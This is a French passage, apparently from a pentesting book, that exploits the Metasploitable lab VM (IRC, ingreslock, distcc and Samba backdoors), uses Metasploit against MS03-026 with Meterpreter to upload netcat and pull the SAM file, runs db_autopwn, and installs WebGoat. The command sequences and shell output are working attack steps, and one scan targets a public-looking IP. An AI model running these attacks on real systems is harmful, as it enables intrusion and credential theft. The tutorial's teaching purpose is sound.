root@ubuntu:~# telnet 192.168.1.131 6200 Trying 192.168.1.131... Connected to 192.168.1.131. Escape character is ]. id; uid=0(root) gid=0(root) Sur le port 6667 de Metasploitable tourne un dmon IRC, UnreaIRCD. Cette version contient une backdoor qui na pas t identifie pendant des mois, dclenche lorsque les lettres AB suivies par une commande systme lui sont envoyes sur nimporte quel port en coute. Metasploit a un module qui lexploite afin dobtenir un shell interactif comme montr ci-dessous. Msfconsole msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.131 msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double handler [*] Connected to 192.168.1.131:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldnt resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 8bMUYsfmGvOLHBxe; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "8bMUYsfmGvOLHBxe\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.131:60257) at 2012-05-31 21:53:59 -0700
id uid=0(root) gid=0(root) Une autre et trs vieille backdoor, ingreslock , coute sur le port 1524. Pour y accder, rien de plus simple : root@ubuntu:~# telnet 192.168.1.131 1524 Trying 192.168.1.131... Connected to 192.168.1.131. Escape character is ]. root@metasploitable:/# id uid=0(root) gid=0(root) groups=0(root)
Services:Unintentional Backdoors En plus des backdoors vues prcdemment, quelques services sont des sortes de backdoors par leur nature. Le premier est distccd. Distccd est le serveur du compilateur rparti distcc. Il excute les tches de compilation qui lui sont confies en rseau par ses clients. Distcc peut tre excut soit sur TCP, soit par une commande de connexion telle que ssh : les connexions TCP sont rapides mais peu sres ; les connexions SSH sont scurises mais plus lentes. Le problme avec ce service est quun attaquant peut aisment le contourner pour lancer une commande de son choix. Nous allons dmontrer cela en utilisant un module Metasploit. Msfconsole msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > set RHOST 192.168.1.131 msf exploit(distcc_exec) > exploit
[*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo uk3UdiwLUq0LX3Bi; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "uk3UdiwLUq0LX3Bi\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.131:38897) at 2012-05-31 22:06:03 -0700
id uid=1(daemon) gid=1(daemon) groups=1(daemon) Samba est une implmentation libre des protocoles SMB (Server Message Block) et CIFS (Common Internet File System). Samba fournit des services et fichiers dimpression pour des clients Windows et peut sintgrer un domaine Windows Server. Samba, lorsquil est configur avec un fichier partag en criture et avec loption wide links valide ( on par dfaut), peut aussi tre utilis comme une backdoor de faon accder des fichiers qui nont pas t partags. Lexemple ci-dessous utilise un module Metasploit pour obtenir un accs au systme de fichiers de lutilisateur root avec une connexion anonyme. root@ubuntu:~# smbclient -L //192.168.1.131 Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
root@ubuntu:~# msfconsole msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.1.131 msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp msf auxiliary(samba_symlink_traversal) > exploit
[*] Connecting to the server... [*] Trying to mount writeable share tmp... [*] Trying to link rootfs to the root filesystem... [*] Now access the following share to browse the root filesystem: [*] \\192.168.1.131\tmp\rootfs\
msf auxiliary(samba_symlink_traversal) > exit
root@ubuntu:~# smbclient //192.168.1.131/tmp Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> cd rootfs smb: \rootfs\> cd etc smb: \rootfs\etc\> more passwd getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [..] 4. Vulnerable Web Services Des vulnrabilits web sont prinstalles dans Metasploitable. Le serveur web se lance automatiquement quand Metasploitable est dmarr. Pour accder ces applications web, nous ouvrirons un navigateur web et nous connecterons sur lURL http://<IP> o <IP> est ladresse de Metasploitable. Dans lexemple, Metasploitable tourne ladresse IP 192.168.56.101. Donc nous entrerons http://192.168.56.101/ comme montr dans limage ci-dessous.
Pour accder aux applications web particulires, il suffit de cliquer sur les liens de la page daccueil. Dautres applications web peuvent tre accessibles en indiquant un rpertoire dans lURL : http://<IP>/<Application>/ Par exemple, lapplication Mutillidae est accessible ladresse : http://192.168.56.101/mutillidae/ Les applications sont installes dans le rpertoire /var/www. Dans cette version, au moment de lcriture de ce livre, nous avons : Mutillidae (NOWASP Mutillidae 2.1.19) DVWA (Damn Vulnerable Web Application) phpMyAdmin TikiWiki (TWiki) TikiWiki-old dav (WebDav) a. Vulnrabilit web : Mutillidae Lapplication web Mutillidae (NOWASP (Mutillidae)) contient toutes les vulnrabilits du classement des 10 failles web de lOWASP comme le stockage web HTML-5, clickjacking...
Le clickjacking est le moyen de forcer linternaute cliquer sur quelque chose sur une page web pour lui faire excuter une action malveillante. Inspir par DVWA, Mutillidae autorise lutilisateur changer le niveau de scurit de 0 (compltement inscuris) 5 (scuris). En outre, trois niveaux ont t inclus : "Level 0 - trs difficile" "Level 2 - novice". Si lapplication est endommage par de linjection ou des hacks, cliquez sur le bouton Reset DB qui va remettre tout dans les conditions initiales.
Pour remettre le score des preuves valides zro, il suffira de cliquer sur le bouton Toggle hints de la barre de menu.
Vous pourrez trouver toutes les informations ncessaires aux adresses suivantes : https://community.rapid7.com/docs/DOC-1875 http://www.offensive-security.com/metasploit-unleashed/Metasploitable b. Vulnrabilit web : DVWA Damn Vulnerable Web App (DVWA) est une application web crite en PHP qui est vulnrable. Son but principal est dtre une aide pour les professionnels de la scurit pour tester leurs connaissances et leurs outils dans un environnement lgal. Elle a aussi pour but daider le dveloppeur comprendre les processus de scurit de leurs applications et enfin, daider les enseignants et tudiants enseigner ou apprendre les failles Web en classe. DVWA contient des instructions dans sa page web et des informations additionnelles sont disponibles sur la page wiki de DVWA : http://code.google.com/p/dvwa/w/list Default username = admin Default password = password
c. Vulnrabilit web : Information Disclosure Une page dinformation PHP peut tre trouve cette adresse : http://<IP>/phpinfo.php. Dans cet exemple, lURL serait http://192.168.56.101/phpinfo.php. Nous trouverons donc des informations internes au systme et des informations sur les versions des services qui peuvent tre utilises pour la recherche de vulnrabilits. Par exemple, notons que la version de PHP indique dans la capture dcran ci-aprs est une version 5.2.4, il peut tre possible quil soit donc vulnrable aux CVE (Common Vulnerabilities and Exposures) CVE-2012-1823 et CVE-2012-2311 qui ont affect les versions de PHP avant 5.3.12 et 5.4.x avant 5.4.2.
Nous avons fait un peu le tour de la VM Metasploitable. Nous allons revenir ici un peu sur Metasploit afin, pour ceux qui ne le connaissent pas, de le prendre en main, et ceux qui le connaissent, de se remettre en tte son utilisation. 5. Metasploit Nous pourrons linstaller sur notre machine attaquante afin de tester une plate-forme de pentesting. Metasploit est une plate-forme open source pour dvelopper, tester et utiliser des exploits. Cette application, ses dbuts, tait un jeu en rseau et a volu en une plate-forme de pentesting, de dveloppement dexploits et de recherche de failles. Nous pourrons faire une recherche sur Google afin de trouver le paquet ncessaire sous Linux ou lexcutable sous Windows. a. Metasploit Command Line Interface (MSFCLI)
Nous utilisons pour linstant Metasploit 2. Pour dcouvrir cette application, nous allons utiliser la faille RCP DCOM exploit (MS03-026) contre notre victime, un Windows 2000 (192.168.29.15). framework2 # ./msfcli |grep 026 msrpc_dcom_ms03_026 Microsoft RPC DCOM MSO3-026 framework2 # Nous pouvons maintenant slectionner lexploit. framework2 # ./msfcli msrpc_dcom_ms03_026 O Exploit Options =============== Exploit: Name Default Description -------- ------ ------- ------------------ required RHOST The target address required RPORT 135 The target port Target: Windows NT SP3-6a/2K/XP/2K3 English ALL framework2 # Nous pouvons maintenant choisir un PAYLOAD (P). framework2 # ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 P Metasploit Framework Usable Payloads ==================================== win32_adduser Windows Execute net user /ADD win32_bind Windows Bind Shell win32_bind_dllinject Windows Bind DLL Inject win32_bind_meterpreter Windows Bind Meterpreter DLL Inject win32_bind_stg Windows Staged Bind Shell win32_bind_stg_upexec Windows Staged Bind Upload/Execute win32_bind_vncinject Windows Bind VNC Server DLL Inject win32_downloadexec Windows Executable Download and Execute win32_exec Windows Execute Command win32_passivex Windows PassiveX ActiveX Injection Payload win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter win32_passivex_stg Windows Staged PassiveX Shell win32_passivex_vncinject Windows PassiveX ActiveX VNC Server Payload win32_reverse Windows Reverse Shell win32_reverse_dllinject Windows Reverse DLL Inject win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject win32_reverse_ord Windows Staged Reverse Ordinal Shell win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject win32_reverse_stg Windows Staged Reverse Shell win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute win32_reverse_vncinject Windows Reverse VNC Server Inject framework2 # Nous allons utiliser un bind shell (win32_bind) et choisir la cible (T) : framework2# ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 PAYLOAD=win32_bind T Supported Exploit Targets ========================= 0 Windows NT SP3-6a/2K/XP/2K3 English ALL framework2 # Nous pouvons maintenant lancer lexploit ainsi cr. framework2#./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 PAYLOAD=win32_bind E [*] Starting Bind Handler. [*] Sending request... [*] Got connection from 192.168.9.100:36687 <-> 192.168.9.14:4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> Nous obtenons un shell Windows de la machine distante. b. Metasploit Console (MSFCONSOLE) Nous allons refaire la mme chose mais avec msfconsole : framework2 # ./msfconsole + -- --=[ msfconsole v2.7 [157 exploits - 76 payloads] msf > help Metasploit Framework Main Console Help ? Show the main console help cd Change working directory exit Exit the console help Show the main console help info Display detailed exploit or payload information quit Exit the console reload Reload exploits and payloads save Save configuration to disk setg Set a global environment variable show Show available exploits and payloads unsetg Remove a global environment variable use version Select an exploit by name Show console version msf > show exploits msf > use msrpc_dcom_ms03_026 msf msrpc_dcom_ms03_026 > set RHOST 192.168.9.14 RHOST -> 192.168.9.14 msf msrpc_dcom_ms03_026 > set LHOST 192.168.9.100 LHOST -> 192.168.9.100 msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf msrpc_dcom_ms03_026(win32_reverse) > show TARGETS Supported Exploit Targets ========================= 0 Windows NT SP3-6a/2K/XP/2K3 English ALL msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0 TARGET -> 0 msf msrpc_dcom_ms03_026(win32_reverse) > exploit [*] Starting Reverse Handler. [*] Sending request... [*] Got connection from 192.168.9.100:4321 <-> 192.168.9.14:1031 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> c. Metasploit Web Interface (MSFWEB) MSFWEB lance un serveur sur le port 55555, IP 127.0.0.1. Si nous nous connectons sur ce port avec un navigateur web, nous obtenons linterface graphique de Metasploit. Essayons dexploiter un vnc_reverse sur la mme machine que prcdemment. framework2 # ./msfweb +----=[ Metasploit Framework Web Interface (127.0.0.1:55555)
Cette version peut sembler un peu vieillotte mais peut encore nous aider dans certains cas. Nous retrouvons trois liens : EXPLOITS, PAYLOADS et SESSIONS. SESSIONS ne nous servira que lorsquun exploit aura fonctionn pour accder la machine victime. Nous avons la possibilit de filtrer la recherche par service par exemple (FTP, HTTP...) ou par OS (Operating System).
Une fois que nous avons slectionn lexploit que nous voulons utiliser, une nouvelle fentre apparat qui va nous permettre dentrer les informations ncessaires, comme ladresse IP de la victime, le port de la victime, notre adresse IP... Bien sr, les informations fournir diffrent suivant lexploit selectionn.
Quand lexploit est lanc, et sil russit, nous avons comme dans lexemple ci-dessus une information [*] Shell started on session 1 . Une fentre VNC apparat alors si lexploit a fonctionn.
d. Meterpreter Payload Meterpreter est un payload multifonction avanc qui va nous fournir un shell basique partir duquel nous pourrons ajouter les fonctions dsires pour notre exploit. Meterpreter est un payload car il permet davoir un shell particulier qui va vous permettre de nenvoyer que la partie utile de vos messages (commandes) sans encapsulation des en-ttes du protocole TCP/IP par exemple. Meterpreter est trs pratique parce quil nous proposera un shell meterpreter qui va nous permettre bien plus dactions quun payload classique. Nous pourrons lancer partir du shell meterpreter un shell bash, dposer ou tlcharger des fichiers, des excutables, faire des dumps mmoire msf > use msrpc_dcom_ms03_026 msf msrpc_dcom_ms03_026 > show payloads Metasploit Framework Usable Payloads ==================================== win32_adduser win32_bind win32_bind_dllinject win32_bind_meterpreter win32_bind_stg win32_bind_stg_upexec win32_bind_vncinject win32_downloadexec Windows Execute net user /ADD Windows Bind Shell Windows Bind DLL Inject Windows Bind Meterpreter DLL Inject Windows Staged Bind Shell Windows Staged Bind Upload/Execute Windows Bind VNC Server DLL Inject Windows Executable Download and Executewin32_exec Windows Execute Command win32_passivex Windows PassiveX ActiveX Injection Payload win32_passivex_meterpreter win32_passivex_stg Windows Staged PassiveX Shell win32_passivex_vncinject win32_reverse Windows PassiveX ActiveX Inject Meterpreter Payload Windows PassiveX ActiveX Inject VNC Server Payload Windows Reverse Shell win32_reverse_dllinject Windows Reverse DLL Inject win32_reverse_meterpreter win32_reverse_ord Windows Reverse Meterpreter DLL Inject Windows Staged Reverse Ordinal Shell win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject win32_reverse_stg Windows Staged Reverse Shell win32_reverse_stg_upexec win32_reverse_vncinject Windows Staged Reverse Upload/Execute Windows Reverse VNC Server Inject msf msrpc_dcom_ms03_026(in32_bind_meterpreter) > set PAYLOAD win32_bind_meterpreter PAYLOAD -> win32_bind_meterpreter msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > set RHOST 192.168.9.14 RHOST -> 192.168.9.14 msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > exploit [*] Starting Reverse Handler. [*] Sending request... [*] Got connection from 192.168.9.100:4321 <-> 192.168.9.14:1031 meterpreter> Nous obtenons un shell meterpreter. Il faut maintenant charger le systme de fichiers et des librairies dans meterpreter. meterpreter> use -m Process loadlib: Loading library from ext180401.dll on the remote machine. Meterpreter> loadlib: success. meterpreter> use -m Fs loadlib: Loading library from ext290706.dll on the remote machine. meterpreter> loadlib: success. meterpreter> help Nous pouvons maintenant envoyer ou tlcharger des fichiers, excuter des commandes shell, grer les processus en interactivit avec eux... meterpreter> upload /home/fasm/windows-binaries/tools/nc.exe c:\windows upload: Starting upload of /home/fasm/windows- binaries/tools/nc.exe to c:\windows\nc.exe. upload: 1 uploads started. meterpreter> upload: Upload from /home/fasm/windows-binaries/tools/nc.exe succeeded. meterpreter> download c:\windows\repair\sam /tmp download: Starting download from c:\windows\repair\sam to /tmp/sam... download: 1 downloads started. meterpreter> download: Download to /tmp/sam succeeded. meterpreter> meterpreter> ps meterpreter> Process list: Pid Name Path ----- ------------ ---------- 00360 smss.exe \SystemRoot\System32\smss.exe 00528 csrss.exe \??\C:\WINDOWS\system32\csrss.exe 00556 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 00604 services.exe C:\WINDOWS\system32\services.exe 00616 lsass.exe C:\WINDOWS\system32\lsass.exe 00864 svchost.exe C:\WINDOWS\system32\svchost.exe 01008 svchost.exe C:\WINDOWS\System32\svchost.exe 01084 svchost.exe C:\WINDOWS\System32\svchost.exe 01156 svchost.exe C:\WINDOWS\System32\svchost.exe 01360 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 01588 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe 01172 Explorer.EXE C:\WINDOWS\Explorer.EXE 01048 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 01292 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 01776 cmd.exe C:\WINDOWS\System32\cmd.exe 01168 logon.scr C:\WINDOWS\System32\logon.scr 17 processes. Meterpreter> meterpreter> execute -H -f cmd -c execute: Executing cmd... meterpreter> execute: success, process id is 492. execute: allocated channel 6 for new process. meterpreter> interact 6 interact: Switching to interactive console on 6... meterpreter> interact: Started interactive channel 6. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>exit exit interact: Ending interactive session. Meterpreter> e. Framework 3 Le framework 3 a t compltement rcrit en Ruby. La philosophie est la mme que pour le framework 2. Les frameworks 2 et 3 sont inclus par dfaut dans la BackTrack. Tout ce que nous avons vu avant est donc valable pour cette version. Modules auxiliaires Le framework 3 a intgr des modules auxiliaires trs utiles comme UDP discovery sweeps et SMB host identification features. framework3 # ./msfconsole =[ msf v3.0-beta-dev + -- --=[ 132 exploits - 99 payloads + -- --=[ 17 encoders - 4 nops =[ 27 aux msf > show msf > use scanner/discovery/sweep_udp msf auxiliary(sweep_udp) > set RHOSTS 172.16.2.1/24 RHOSTS => 172.16.2.1/24 msf auxiliary(sweep_udp) > run [*] Sending 6 probes to 172.16.2.0->172.16.2.255 (256 hosts) [*] Discovered NetBIOS on 172.16.2.203 () [*] Discovered NetBIOS on 172.16.2.204 () [*] Discovered NetBIOS on 172.16.2.202 () [*] Discovered NetBIOS on 172.16.2.201 () [*] Discovered SQL Server on 172.16.2.201 (tcp=1433np=\\BA8C9725C4334BF\pipe\sql\query Version=8.00.194 ServerName=BA8C9725C4334BF IsClustered=No InstanceName=MSSQLSERVER ) [*] Auxiliary module execution completed msf auxiliary(sweep_udp) > use scanner/smb/version msf auxiliary(version) > set RHOSTS 172.16.2.201-172.16.2.204 RHOSTS => 172.16.2.201-172.16.2.204 msf auxiliary(version) > run [*] 172.16.2.201 is running Windows 2000 Service Pack 0 - Service Pack 4 [*] 172.16.2.202 is running Windows XP Service Pack 0 / Service Pack 1 [*] 172.16.2.203 is running Windows XP Service Pack 0 / Service Pack 1 [*] 172.16.2.204 is running Windows XP Service Pack 0 / Service Pack 1 [*] Auxiliary module execution completed msf auxiliary(version) > use scanner/mssql/mssql_ping msf auxiliary(mssql_ping) > set RHOSTS 172.16.2.201 RHOSTS => 172.16.2.201 msf auxiliary(mssql_ping) > run [*] SQL Server information for 172.16.2.201: [*] tcp = 1433 [*] np = \\BA8C9725C4334BF\pipe\sql\query [*] Version = 8.00.194 [*] ServerName [*] IsClustered [*] InstanceName = BA8C9725C4334BF = No = MSSQLSERVER [*] Auxiliary module execution completed msf auxiliary(mssql_ping) > use scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.201 RHOSTS => 172.16.2.201 msf auxiliary(mssql_login) > run [*] Target 172.16.2.201 does have a null sa account... [*] Auxiliary module execution completed db_autopwn Le module db_autopwn peut tre utilis pour le port scanning et la connexion aux ordinateurs en utilisant Nmap (db_nmap), tous les rsultats sont entrs dans une base de donnes Postgres. Suivant les ports ouverts dcouverts par le scan, Metasploit excute automatiquement des exploits contre ces machines. db_autopwn nest plus gr par Metasploit mais il est toujours possible de lutiliser. Il nous faudra rcuprer db_autopwn.rb sur Internet : https://github.com/jeffbryner/kinectasploit/blob/master/db_autopwn.rb Nous sauvegarderons ce programme dans /pentest/exploits/framework/plugins/db_autopwn.rb : root@bt:~# su postgres sh-4.1$ psql could not change directory to "/root" psql (8.4.8) Type "help" for help. postgres=# create user test with password test; CREATE ROLE postgres=# create database cdaisi_db; CREATE DATABASE postgres=# msfconsole db_connect test:[email protected]/cdaisi_db db_nmap 213.136.96.12 load db_autopwn db_autopwn -t -p -e -s -b framework3 # ./start-db_autopwn The files belonging to this database system will be owned by user "postgres". This user must also own the server process. The database cluster will be initialized with locale C. creating directory /home/postgres/metasploit3 ... ok creating directory /home/postgres/metasploit3/global ... ok ... initializing dependencies ... ok creating system views ... ok loading pg_description ... ok creating conversions ... ok setting privileges on built-in objects ... ok creating information schema ... ok vacuuming database template1 ... ok copying template1 to template0 ... ok copying template1 to postgres ... ok WARNING: enabling "trust" authentication for local connections You can change this by editing pg_hba.conf or using the -A option the next time you run initdb. Success. You can now start the database server using: postmaster -D /home/postgres/metasploit3 or pg_ctl -D /home/postgres/metasploit3 -l logfile start postmaster starting [**************************************************************] [*] Postgres should be setup now. To run db_autopwn, please: [*] # su - postgres[*] # cd /home/fasm/framework3 {*] # ./msfconsole [*] msf> load db_postgres [**************************************************************] BT framework3 # LOG: database system was shut down at 2006-12-10 06:53:28 GMT LOG: checkpoint record is at 0/33A6AC LOG: redo record is at 0/33A6AC; undo record is at 0/0; shutdown TRUE LOG: next transaction ID: 565; next OID: 10794 LOG: next MultiXactId: 1; next MultiXactOffset: 0 LOG: database system is ready LOG: transaction ID wrap limit is 2147484146, limited by database "postgres" BT framework3 # su - postgres /dev/pts/0: Operation not permitted BT ~ $ cd /home/fasm/framework3 BT framework3 $ ./msfconsole ____________ < metasploit > ------------ =[ msf v3.0-beta-dev + -- --=[ 131 exploits - 99 payloads + -- --=[ 17 encoders - 4 nops =[ 27 aux msf > load db_postgres [*] Successfully loaded plugin: db_postgres msf > db_create ERROR: database "metasploit3" does not exist dropdb: database removal failed: ERROR: database "metasploit3" does not exist LOG: transaction ID wrap limit is 2147484146, limited by database "postgres" CREATE DATABASE ERROR: table "hosts" does not exist ERROR: table "hosts" does not exist NOTICE: CREATE TABLE will create sequence "hosts_id_seq" for serial column "hosts.id"NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table "refs" NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table "refs" ERROR: table "vulns_refs" does not exist ERROR: table "vulns_refs" does not exist msf > db_hosts msf > db_nmap-p 445 172.16.2.* Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10 06:56 GMT Interesting ports on 172.16.2.1: PORT STATE SERVICE 445/tcp closed microsoft-ds Nmap finished: 256 IP addresses (1 host up) scanned in 15.476 seconds msf > db_Nmap-p 445 172.16.2.* Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10 06:57 GMT Interesting ports on 172.16.2.1: PORT STATE SERVICE 445/tcp closed microsoft-ds Interesting ports on 172.16.2.202: PORT STATE SERVICE 445/tcp open microsoft-ds Interesting ports on 172.16.2.203: PORT STATE SERVICE 445/tcp open microsoft-ds Interesting ports on 172.16.2.206: PORT STATE SERVICE 445/tcp open microsoft-ds Nmap finished: 256 IP addresses (4 hosts up) scanned in 15.323 seconds msf > db_hosts [*] Host: 172.16.2.202 [*] Host: 172.16.2.203 [*] Host: 172.16.2.206 msf > db_autopwn -p -e -r [*] Launching auxiliary/dos/windows/smb/ms05_047_pnp (1/42) against 172.16.2.206:445... [*] Launching exploit/windows/smb/ms06_066_nwwks (2/42) against 172.16.2.203:445... [*] Started reverse handler [*] Launching exploit/windows/smb/ms06_040_netapi (3/42) against 172.16.2.202:445...[*] Connecting to the SMB service... [*] Started reverse handler [*] Launching exploit/windows/smb/ms03_049_netapi (5/42) against 172.16.2.203:445... [*] Connecting to the SMB service... [*] Launching exploit/windows/smb/ms05_039_pnp (10/42) against 172.16.2.206:445... [*] Bound to 3919286a-b10c-11d0-9ba8- 00c04fd92ef5:0.0@ncacn_np:172.16.2.202[\lsarpc]... [*] Getting OS information... [*] Command shell session 2 opened (172.16.2.1:8368 -> 172.16.2.202:1059) [*] Trying to exploit Windows 5.1 [*] Command shell session 3 opened (172.16.2.1:22349 -> 172.16.2.206:1041) msf > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Command shell 172.16.2.1:23443 -> 172.16.2.202:1058 2 Command shell 172.16.2.1:12927 -> 172.16.2.203:1099 3 Command shell 172.16.2.1:37995 -> 172.16.2.206:1040 msf > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> f. Fasttrack Fasttrack permet dautomatiser mme db_autopwn, nous pourrons donc le tester. Pour cela, il faut faire aussi une petite modification avant que ce dernier ne fonctionne. Allons dans le rpertoire /pentest/exploits/fasttrack/bin/ftsrc et ouvrons le fichier autopwn.py :
Nous pouvons ajouter la ligne en face du curseur (carr blanc) et ensuite enregistrer le fichier. Nous pouvons maintenant utiliser db_autopwn et fasttrack. Si nous lanons fasttrack simplement, nous obtenons cela : ------------------------------------------------ Fast-Track v3.0 - Where speed really does matter... Automated Penetration Testing Written by David Kennedy (ReL1K) SecureState, LLC http://www.securestate.com [email protected] Please read the README and LICENSE before using this tool for acceptable use and modifications. ------------------------------------------------- Modes: Interactive Menu Driven Mode: -i Command Line Mode: -c Web GUI Mode -g Examples: ./fast-track.py -i ./fast-track.py -c ./fast-track.py -g ./fast-track.py -g <portnum> Usage: ./fast-track.py <mode> Nous lancerons donc ./fasttrack -i Il ne nous reste plus qu suivre les indications pour excuter autopwn. WebGoat 1. Prsentation Dans la section prcdente, nous avons utilis une plate-forme dentranement disponible sous forme dune machine virtuelle complte. Il peut tre intressant dinstaller une plate-forme dentranement destine la dcouverte de failles web uniquement, mais trs complte dans ce domaine. LOWASP (Open Web Application Security Project) met disposition une application Java nomme WebGoat, trs intressante. Le fichier installer se prsente sous la forme dune archive WAR (Web Application Archive). Il ncessite linstallation dun serveur Tomcat et le rglage de quelques paramtres dans les fichiers de configuration. Nous allons raliser cette installation pas pas dans la section suivante. 2. Installation de WebGoat Dans un premier temps il faut rcuprer larchive WAR que lon trouve ladresse suivante : https://code.google.com/p/webgoat/downloads/list Ensuite, il nous faut crer un conteneur Debian6. Nous pouvons utiliser la machine WEB2 cre au premier chapitre ou en crer une nouvelle trs facilement grce au conteneur de Proxmox. Une fois que nous sommes dans une console du conteneur, nous allons installer un serveur Tomcat et une machine virtuelle Java pour faire tourner celui-ci (JRE - Java Runtime Environment). Mais dans les dpts principaux de Debian, nous ne trouvons que OpenJDK, il faut donc modifier le fichier sources.list pour ajouter les branches contrib et non-free. Voici le nouveau contenu de notre fichier /etc/apt/sources.list : deb http://ftp.debian.org/debian squeeze main contrib non-free deb http://ftp.debian.org/debian squeeze-updates main contrib non-free deb http://security.debian.org squeeze/updates main contrib Il faut ensuite actualiser le cache des dpts puis faire une recherche dun JRE pour voir si celui de Sun est bien prsent : root@WEB2:/# aptitude update Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B] Ign http://security.debian.org/ squeeze/updates/contrib Translation-en Ign http://security.debian.org/ squeeze/updates/main Translation-en Get:2 http://ftp.debian.org squeeze Release.gpg [1672 B] Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en Ign http://ftp.debian.org/debian/ squeeze/main Translation-en Ign http://ftp.debian.org/debian/ squeeze/non-free Translation-en
root@WEB2:/# aptitude search jre p default-jre - Standard Java or Java compatible Runtime p default-jre-headless - Standard Java or Java compatible Runtime (headless) p docbook-jrefentry - DocBook XML JRefEntry DTD p gcj-4.4-jre - Java runtime environment using GIJ/classpath p gcj-4.4-jre-headless - Java runtime environment using GIJ/classpath (headless version) p gcj-4.4-jre-lib - Java runtime library for use with gcj (jar files) p gcj-jre - Java runtime environment using GIJ/classpath p gcj-jre-headless - Java runtime environment using GIJ/classpath (headless version) p icedtea-6-jre-cacao - Alternative JVM for OpenJDK, using Cacao v icedtea6-jre-cacao - p libjrexx-java - automaton based regular expression API for java p openjdk-6-jre - OpenJDK Java runtime, using Hotspot JIT p openjdk-6-jre-headless - OpenJDK Java runtime, using Hotspot JIT (headless) p openjdk-6-jre-lib - OpenJDK Java runtime (architecture independent libraries) v openjdk-6-jre-shark - p openjdk-6-jre-zero - Alternative JVM for OpenJDK, using Zero/Shark p sun-java6-jre Nous voyons que le JRE de Sun est prsent. Installons-le : root@WEB2:/# aptitude install sun-java6-jre Lors de cette installation, nous devons accepter les termes de la licence, le logiciel ntant pas libre. Puis nous installons le serveur Tomcat : root@WEB2:/# aptitude install tomcat6 The following NEW packages will be installed: authbind{a} libcommons-collections3-java{a} libcommons-dbcp- java{a} libcommons-pool-java{a} libecj-java{a} libservlet2.5- java{a} libtomcat6-java{a} tomcat6 tomcat6-common{a} 0 packages upgraded, 9 newly installed, 0 to remove and 22 not upgraded. Need to get 5472 kB of archives. After unpacking 6911 kB will be used. Do you want to continue? [Y/n/?] Get:1 http://ftp.debian.org/debian/ squeeze/main authbind i386 1.2.0 [16.6 kB] Get:2 http://ftp.debian.org/debian/ squeeze/main libcommons- collections3-java all 3.2.1-4 [601 kB] Get:3 http://ftp.debian.org/deb.... et stoppons le service : root@WEB2:/# /etc/init.d/tomcat6 stop Stopping Tomcat servlet engine: tomcat6. root@WEB2:/# Nous avons indiqu ladresse o rcuprer le fichier WAR de WebGoat, mais comment tlcharger celui-ci dans notre conteneur ? Nous sommes dans une console en ligne de commande ; un petit navigateur mode texte peut tre trs utile. Commenons par installer lynx, puis lanons-le avec ladresse des fichiers de Webgoat : root@WEB2:~# aptitude install lynx root@WEB2:~# lynx https://code.google.com/p/webgoat/downloads/list Nous sommes face lcran suivant et pouvons naviguer laide des flches du clavier. Nous nous rendons sur le fichier WAR et pressons la touche [Entre].
